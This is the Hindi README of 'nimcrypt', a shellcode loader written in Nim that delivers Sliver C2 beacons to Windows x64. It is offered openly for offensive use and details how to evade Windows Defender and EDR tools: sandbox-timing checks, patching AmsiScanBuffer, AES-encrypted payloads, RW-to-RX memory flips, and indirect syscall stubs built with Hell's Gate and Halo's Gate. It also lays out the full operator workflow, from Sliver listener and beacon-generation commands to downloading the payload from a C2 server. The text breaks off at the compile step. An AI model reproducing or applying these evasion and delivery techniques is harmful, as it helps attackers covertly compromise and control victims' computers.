nimcrypt

एक Sliver शेलकोड लोडर जो Nim में लिखा गया है और Windows x64 को लक्षित करता है। दो वेरिएंट जो दो सबसे सामान्य डिलीवरी स्थितियों को कवर करते हैं। रीयल-टाइम सुरक्षा सक्षम के साथ Windows Defender के विरुद्ध परीक्षण किया गया।

वेरिएंट

stager

डिस्क से एन्क्रिप्टेड शेलकोड ब्लॉब को पढ़ता है, मेमोरी में डिक्रिप्ट करता है, और स्वयं-इंजेक्ट करता है। इसका उपयोग तब करें जब आपके पास पहले से फ़ाइल ड्रॉप प्रिमिटिव हो और एक छोटा, सरल बाइनरी चाहते हों।

loader.exe <shellcode.bin> [key_hex iv_hex]

Key और IV वैकल्पिक हैं। यदि छोड़ दिया जाए, तो फ़ाइल को कच्ची अनएन्क्रिप्टेड शेलकोड माना जाता है।

stageless

आपके C2 से HTTP के माध्यम से Windows WinHTTP स्टैक का उपयोग करके एन्क्रिप्टेड ब्लॉब को डाउनलोड करता है, मेमोरी में डिक्रिप्ट करता है, और स्वयं-इंजेक्ट करता है। कोई फ़ाइल कभी डिस्क को स्पर्श नहीं करती। इसका उपयोग तब करें जब आप लक्ष्य पर बाइनरी निष्पादित कर सकते हैं लेकिन विश्वसनीय रूप से दूसरी फ़ाइल नहीं छोड़ सकते।

संकलन से पहले stageless/loader.nim के शीर्ष पर स्थिरांक संपादित करें:

c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey  = "..."   # 64 hex chars from encrypt.py
scIV   = "..."   # 32 hex chars from encrypt.py

तकनीकें

सैंडबॉक्स से बचाव

स्टेजलेस लोडर स्टार्टअप पर Sleep(5000) कॉल करता है और GetTickCount64 के साथ वास्तविक बीता हुआ समय मापता है। यदि 4500ms से कम बीता है, तो प्रक्रिया बाहर निकल जाती है। अधिकांश स्वचालित सैंडबॉक्स वातावरण स्लीप को फास्ट-फॉरवर्ड या स्किप कर देते हैं, जिससे जांच विफल हो जाती है। यह किसी भी नेटवर्क गतिविधि या शेलकोड निष्पादन से पहले चलता है, इसलिए नेटवर्क व्यवहार का निरीक्षण करने वाले सैंडबॉक्स को कुछ नहीं दिखता।

AMSI बाईपास

amsi.nim रनटाइम पर दो परतों की अस्पष्टता का उपयोग करके AmsiScanBuffer को पैच करता है:

FNV-1a हैशिंग के माध्यम से स्ट्रिंग छिपाना। स्ट्रिंग AmsiScanBuffer बाइनरी में कभी प्रकट नहीं होती। इसके बजाय, इसका FNV-1a हैश संकलन समय पर गणना की जाती है और एक स्थिरांक के रूप में संग्रहीत की जाती है। रनटाइम पर लोडर amsi.dll की एक्सपोर्ट तालिका को स्कैन करता है, प्रत्येक एक्सपोर्ट नाम को हैश करता है, और फ़ंक्शन पता खोजने के लिए संग्रहीत मान से तुलना करता है, बिना स्ट्रिंग को कभी मेमोरी में रखे।

संकलन-समय XOR अस्पष्टता। DLL नाम (amsi.dll) और पैच बाइट्स (xor eax, eax; ret = 31 C0 C3) दोनों को एक Python उपप्रक्रिया के माध्यम से प्रत्येक बिल्ड पर ताजा उत्पन्न यादृच्छिक कुंजी का उपयोग करके संकलन समय पर XOR-एन्कोड किया जाता है। कुंजी एक स्थिरांक के रूप में एम्बेडेड होती है और बाइट्स उपयोग से तुरंत पहले रनटाइम पर डिकोड की जाती हैं। कच्चे बाइट्स प्रत्येक बिल्ड के साथ बदलते हैं, पैच अनुक्रम पर स्थिर हस्ताक्षर को तोड़ते हैं।

पैच AmsiScanBuffer के पहले तीन बाइट्स को xor eax, eax; ret से ओवरराइट करता है, जिससे इनपुट की परवाह किए बिना प्रत्येक कॉल AMSI_RESULT_CLEAN लौटाता है।

पेलोड एन्क्रिप्शन

encrypt.py एक यादृच्छिक रूप से उत्पन्न 32-बाइट कुंजी और 16-बाइट IV का उपयोग करके कच्ची शेलकोड को AES-256-CBC के साथ एन्क्रिप्ट करता है। लोडर Windows BCrypt API का उपयोग करके इन-प्लेस डिक्रिप्ट करता है, इसलिए लक्ष्य पर किसी तीसरे पक्ष के क्रिप्टो लाइब्रेरी की आवश्यकता नहीं है।

RW से RX मेमोरी संक्रमण

मेमोरी को PAGE_READWRITE के रूप में आवंटित किया जाता है, शेलकोड इसमें लिखा जाता है, और फिर निष्पादन से पहले क्षेत्र को PAGE_EXECUTE_READ में फ्लिप किया जाता है। सीधे PAGE_EXECUTE_READWRITE के रूप में आवंटित करना एक प्रसिद्ध हस्ताक्षर है जिसे Defender और EDRs स्पष्ट रूप से फ्लैग करते हैं। लेखन और निष्पादन चरणों को अलग करने से उस पैटर्न से बचा जाता है।

अप्रत्यक्ष सिस्कॉल (Hell's Gate + Halo's Gate)

stageless/syscalls.nim Win32 API परत (kernel32.dll) और EDRs द्वारा रखे गए किसी भी ntdll.dll यूज़रलैंड हुक दोनों को बायपास करता है।

SSN रिज़ॉल्यूशन। स्टार्टअप पर लोडर ntdll का बेस एड्रेस प्राप्त करता है और उसकी PE एक्सपोर्ट तालिका को पार्स करता है, RVA द्वारा क्रमबद्ध प्रत्येक Nt* एक्सपोर्ट को एकत्र करता है। प्रत्येक NT फ़ंक्शन के लिए जिसकी हमें आवश्यकता है, यह पहले चार बाइट्स की जाँच करता है:

• 4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) का अर्थ है कि स्टब साफ है और SSN सीधे बाइट्स 4-5 से पढ़ा जाता है। यह Hell's Gate है।
• कुछ और का मतलब है कि फ़ंक्शन प्रोलॉग को EDR हुक द्वारा पैच किया गया है। उस स्थिति में लोडर क्रमबद्ध सूची में पड़ोसियों को तब तक चलता है जब तक कि उसे एक साफ स्टब नहीं मिल जाता, फिर लक्ष्य SSN की गणना neighbor_SSN +/- distance के रूप में करता है। SSNs पते के क्रम में प्रति स्टब एक से बढ़ते हैं। यह Halo's Gate है।

गैजेट स्थान। लोडर पहले साफ Nt* स्टब को स्कैन करता है जो उसे बाइट अनुक्रम 0F 05 C3 (syscall; ret) के लिए मिलता है। यह ntdll के इमेज-समर्थित .text अनुभाग के अंदर एक पता देता है जिसे हम पुन: उपयोग कर सकते हैं।

स्टब उत्पादन। प्रत्येक आवश्यक फ़ंक्शन के लिए एक 22-बाइट स्टब एक एकल RW पेज में लिखा जाता है जिसे उपयोग से पहले RX में फ्लिप किया जाता है:

4C 8B D1              mov r10, rcx
B8 xx xx 00 00        mov eax, <SSN>
FF 25 00 00 00 00     jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx  gadget address

jmp [rip+0] इसके तुरंत बाद के 8 बाइट्स (गैजेट पता) को डीरेफ्रेंस करता है और निष्पादन को ntdll के मौजूदा syscall; ret अनुक्रम में रीडायरेक्ट करता है। syscall निर्देश हमारे अनाम आवंटन के बजाय ntdll के .text से फायर करता है, जो किसी भी कर्नेल-स्तरीय ट्रैकिंग को विफल करता है कि किस मेमोरी क्षेत्र ने syscall जारी किया।

अप्रत्यक्ष सिस्कॉल द्वारा कवर किए गए चार फ़ंक्शन हैं NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, और NtWaitForSingleObject।

स्व-इंजेक्शन

डिक्रिप्शन के बाद, स्टेजलेस लोडर NtAllocateVirtualMemory के माध्यम से अपनी प्रक्रिया में एक RW क्षेत्र आवंटित करता है, copyMem के साथ शेलकोड को कॉपी करता है, NtProtectVirtualMemory के माध्यम से क्षेत्र को RX में फ्लिप करता है, और NtCreateThreadEx के माध्यम से एक थ्रेड बनाता है। मुख्य थ्रेड फिर NtWaitForSingleObject पर अनिश्चित काल के लिए ब्लॉक करता है, प्रक्रिया को जीवित रखता है जबकि बीकन के goroutines चलते हैं। सभी चार कॉल ऊपर वर्णित अप्रत्यक्ष सिस्कॉल स्टब्स के माध्यम से जाते हैं।

स्व-इंजेक्शन कॉल सतह को न्यूनतम रखता है। कोई क्रॉस-प्रोसेस API कॉल नहीं हैं (WriteProcessMemory, CreateRemoteThread, आदि), जो क्लासिक रिमोट इंजेक्शन के लिए प्राथमिक डिटेक्शन वेक्टर हैं।

निष्पादन प्रवाह (स्टेजलेस)

1. टाइमिंग जाँच: 5 सेकंड सोएं, यदि बीता हुआ समय < 4.5 सेकंड है तो बाहर निकलें
2. AMSI पैच: FNV-1a के माध्यम से AmsiScanBuffer को हल करें, xor eax, eax; ret के साथ ओवरराइट करें
3. अप्रत्यक्ष सिस्कॉल स्टब्स को हल करें: ntdll एक्सपोर्ट पार्स करें, SSNs खोजें (Hell's Gate + Halo's Gate), syscall; ret गैजेट का पता लगाएं, स्टब्स लिखें
4. डाउनलोड: WinHTTP GET अनुरोध, प्रतिक्रिया बॉडी पढ़ें
5. डिक्रिप्ट: BCrypt के माध्यम से AES-256-CBC इन-प्लेस
6. आवंटित: अप्रत्यक्ष सिस्कॉल के माध्यम से अपनी प्रक्रिया में NtAllocateVirtualMemory (RW)
7. शेलकोड को आवंटन में कॉपी करें
8. सुरक्षा: अप्रत्यक्ष सिस्कॉल के माध्यम से NtProtectVirtualMemory से PAGE_EXECUTE_READ
9. निष्पादित: अप्रत्यक्ष सिस्कॉल के माध्यम से NtCreateThreadEx
10. प्रतीक्षा: अप्रत्यक्ष सिस्कॉल के माध्यम से थ्रेड हैंडल पर NtWaitForSingleObject

निष्पादन प्रवाह (स्टेजर)

1. AMSI पैच
2. डिस्क से शेलकोड फ़ाइल पढ़ें
3. यदि Key और IV प्रदान किए गए हों तो डिक्रिप्ट करें
4. VirtualAlloc (RW), शेलकोड कॉपी करें, VirtualProtect से RX
5. फ़ंक्शन पॉइंटर कास्ट के माध्यम से निष्पादित करें

आवश्यकताएँ

अपने Linux बिल्ड मशीन पर:

• Nim + nimble (nimble install winim)
• mingw-w64 (x86_64-w64-mingw32-gcc)
• Python 3 + pycryptodome (pip install pycryptodome)

पूर्ण कार्यप्रवाह

1. Sliver लिसनर शुरू करें

[server] sliver > mtls --lhost 10.10.14.42 --lport 443

2. बीकन शेलकोड जनरेट करें

[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon

3. एन्क्रिप्ट करें

python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv:  83b82994e8c512d536f7d42e89d6e761

4. स्थिरांक सेट करें और संकलित करें

stageless/loader.nim को संपादित करें और c2Host, c2Port, c2Path, scKey, scIV सेट करें, फिर प्रोजेक्ट रूट से: